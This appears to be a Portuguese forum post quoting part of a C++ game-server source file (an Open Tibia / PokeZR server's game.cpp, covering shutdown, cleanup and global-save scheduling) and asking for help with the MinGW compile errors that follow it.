IOBan::getInstance()->clearTemporials(); //remove premium days globally if configured to if(g_config.getBool(ConfigManager::REMOVE_PREMIUM_ON_INIT)) IOLoginData::getInstance()->updatePremiumDays(); //reload everything reloadInfo(RELOAD_ALL); //reset variables for(int16_t i = 0; i < 3; i++) setGlobalSaveMessage(i, false); //prepare for next global save after 24 hours Scheduler::getInstance().addEvent(createSchedulerTask(86100000, boost::bind(&Game::prepareGlobalSave, this))); //open server Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_NORMAL))); } void Game::shutdown() { std::cout << "Preparing"; Scheduler::getInstance().shutdown(); std::cout << " to"; Dispatcher::getInstance().shutdown(); std::cout << " shutdown"; Spawns::getInstance()->clear(); std::cout << " the"; Raids::getInstance()->clear(); std::cout << " server"; cleanup(); std::cout << "- done." << std::endl; if(services) services->stop(); #if defined(WINDOWS) && !defined(__CONSOLE__) exit(1); #endif } void Game::cleanup() { //free memory for(std::vector<Thing*>::iterator it = releaseThings.begin(); it != releaseThings.end(); ++it) (*it)->unRef(); releaseThings.clear(); for(DecayList::iterator it = toDecayItems.begin(); it != toDecayItems.end(); ++it) { int32_t dur = (*it)->getDuration(); if(dur >= EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS) decayItems[lastBucket].push_back(*it); else decayItems[(lastBucket + 1 + (*it)->getDuration() / 1000) % EVENT_DECAYBUCKETS].push_back(*it); } toDecayItems.clear(); } void Game::freeThing(Thing* thing) { releaseThings.push_back(thing); } void Game::showHotkeyUseMessage(Player* player, Item* item) { int32_t subType = -1; if(item->hasSubType() && !item->hasCharges()) subType = item->getSubType(); const ItemType& it = Item::items[item->getID()]; uint32_t count = player->__getItemTypeCount(item->getID(), subType, false); char buffer[40 + it.name.size()]; if(count == 1) sprintf(buffer, "Using the last %s...", it.name.c_str()); else sprintf(buffer, "Using one of %d %s...", count, it.pluralName.c_str()); } Erro na hora de compilar. Citar Compilador: Default compiler Building Makefile: "C:\Users\micael\Documents\Projetos\serve teste\Base teste\[SOURCE] PokeZR By Kyyah\dev-cpp\Makefile.win" Executando make... mingw32-make -f "C:\Users\micael\Documents\Projetos\serve teste\Base teste\[SOURCE] PokeZR By Kyyah\dev-cpp\Makefile.win" all g++.exe -c ../game.cpp -o obj//game.o -I"C:/Users/micael/Documents/Projetos/serve teste/Base teste/Stian's Repack Dev-Cpp 0.2, 64bit/include" -D__USE_MYSQL__ -D__USE_SQLITE__ -D__ENABLE_SERVER_DIAGNOSTIC__ -fexpensive-optimizations -O1 ../game.cpp:4899: error: 'game' has not been declared ../game.cpp: In function 'void parsePlayereExtendedOpcode(uint32_t, uint8_t, const std::string&)': ../game.cpp:4901: error: 'getPlayerByID' was not declared in this scope ../game.cpp:4905: error: expected ',' or ';' before 'for' ../game.cpp: At global scope: ../game.cpp:4909: error: expected unqualified-id before '{' token mingw32-make: *** [obj//game.o] Error 1 Execução terminada
Participe da conversa
Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.